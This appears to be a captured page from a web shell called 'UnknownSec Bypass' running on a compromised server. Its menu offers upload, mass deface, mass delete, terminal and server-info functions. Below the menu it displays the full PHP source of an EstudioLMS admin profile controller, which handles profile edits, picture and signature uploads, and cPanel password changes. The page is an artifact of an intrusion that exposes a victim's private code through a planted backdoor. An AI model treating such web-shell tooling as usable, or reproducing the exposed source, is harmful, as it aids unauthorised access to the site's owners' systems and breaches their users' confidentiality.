UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Http
/
Controllers
/
Admin
/
Profile
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
AdminController.php
<?php namespace EstudioLMS\Http\Controllers\Admin\Profile; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Exceptions\Handler; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests\UserRequest; use EstudioLMS\Repositories\Auth\UserRepository; use EstudioLMS\Services\Saas\SaasUtilService; use EstudioLMS\System\PlanValidator; use File; use Illuminate\Contracts\Auth\Guard; use Illuminate\Translation\Translator; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use Storage; /** * Class AdminController * @package EstudioLMS\Http\Controllers\Admin\Profile */ class AdminController extends Controller { /** * @var Guard */ private $auth; /** * @var Translator */ private $translator; /** * @var Breadcrumbs */ private $breadCrumb; /** * @var ResponseBuilder */ private $responseBuilder; /** * @var UserRepository */ private $userRepo; /** * @var Helpers */ private $helper; /** * @var PlanValidator */ private $planValidator; /** * @var SaasUtilService */ private $saasUtilService; /** * @param Translator $translator * @param Breadcrumbs $breadCrumb * @param Helpers $helper * @param ResponseBuilder $responseBuilder * @param UserRepository $userRepo * @param Guard $auth * @param PlanValidator $planValidator * @param SaasUtilService $saasUtilService */ public function __construct( Translator $translator, Breadcrumbs $breadCrumb, Helpers $helper, responseBuilder $responseBuilder, UserRepository $userRepo, Guard $auth, PlanValidator $planValidator, SaasUtilService $saasUtilService ) { $this->middleware('admins'); $this->auth = $auth; $this->translator = $translator; $this->breadCrumb = $breadCrumb; $this->responseBuilder = $responseBuilder; $this->userRepo = $userRepo; $this->helper = $helper; $this->planValidator = $planValidator; $this->saasUtilService = $saasUtilService; } /** * @return \Illuminate\View\View */ public function index() { $this->breadCrumb->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $bread = $this->breadCrumb->generate(); $env = 'dashboard'; $title = trans('admin_user.titleProfile'); $this->planValidator->customerStats(); return view('admin.dashboard', compact('bread', 'env', 'title')); } /** * @param $id * @return mixed */ public function edit($id) { $this->breadCrumb->addBreadcrumb(trans('admin_master.breadDash'), route('admin.index')); $this->breadCrumb->addBreadcrumb(trans('admin_user.breadMyData'), route('admin.edit', $id)); $bread = $this->breadCrumb->generate(); $data = $this->userRepo->with(['groupAdmin'])->find($id); $roleId = $data->roles[0]->id; $env = 'environment'; $view = 'admin.profile.admin_profile'; $customMessage = trans('admin_user.msgEditProfile'); $title = trans('admin_user.titleEditProfile'); $type = 'A'; $userTypes = Helpers::userTypes(); if ($roleId == 5) { $userTypes = Helpers::userTypes(true); } /*return view( $view, compact('data'), compact('bread', 'env', 'roleId', 'customMessage', 'title', 'userTypes', 'type') );*/ return $this->responseBuilder->render( $view, compact('data'), compact('bread', 'env', 'roleId', 'customMessage', 'title', 'userTypes', 'type') ); } /** * @param $id * @param UserRequest $request * @return \Illuminate\Http\RedirectResponse */ public function update($id, UserRequest $request) { $data = $request->all(); $newPwd = ''; if (!empty($data['password'])) { $newPwd = $data['password']; $data['password'] = bcrypt($data['password']); } else { unset($data['password']); } if ($request->hasFile('picture')) { $data['picture'] = uniqid(str_random(20)) . '.' . $request->file('picture')->getClientOriginalExtension(); } else { unset($data['picture']); } if ($request->hasFile('signature')) { $data['signature'] = uniqid(str_random(20)) . '.' . $request->file('signature')->getClientOriginalExtension(); } else { unset($data['signature']); } try { $profile = $this->userRepo->find($id); $profile->fill($data); $profile->save(); $success = trans('admin_master.success'); $message = trans('admin_master.msgSuccess'); if ($request->hasFile('picture')) { if ($request->file('picture')->isValid()) { Storage::disk('profile')->put($data['picture'], File::get($request->file('picture'))); } } if ($request->hasFile('signature')) { if ($request->file('signature')->isValid()) { Storage::disk('profile')->put($data['signature'], File::get($request->file('signature'))); } } if (!empty($newPwd) && $data['role'] == 5) { $data['password'] = $newPwd; $this->saasUtilService->changeCPanelPWD($data); $this->saasUtilService->changePanelCustomerPWD($data); } } catch (\Exception $e) { app(Handler::class)->report($e); $fail = trans('admin_master.fail'); $message = trans('admin_master.error') . $e->getMessage() . trans('admin_master.msgError'); } $env = 'environment'; return redirect()->route('admin.edit', $this->auth->user()['id']) ->with(compact('env', 'fail', 'success', 'message')); } }
Copyright © 2026 - UnknownSec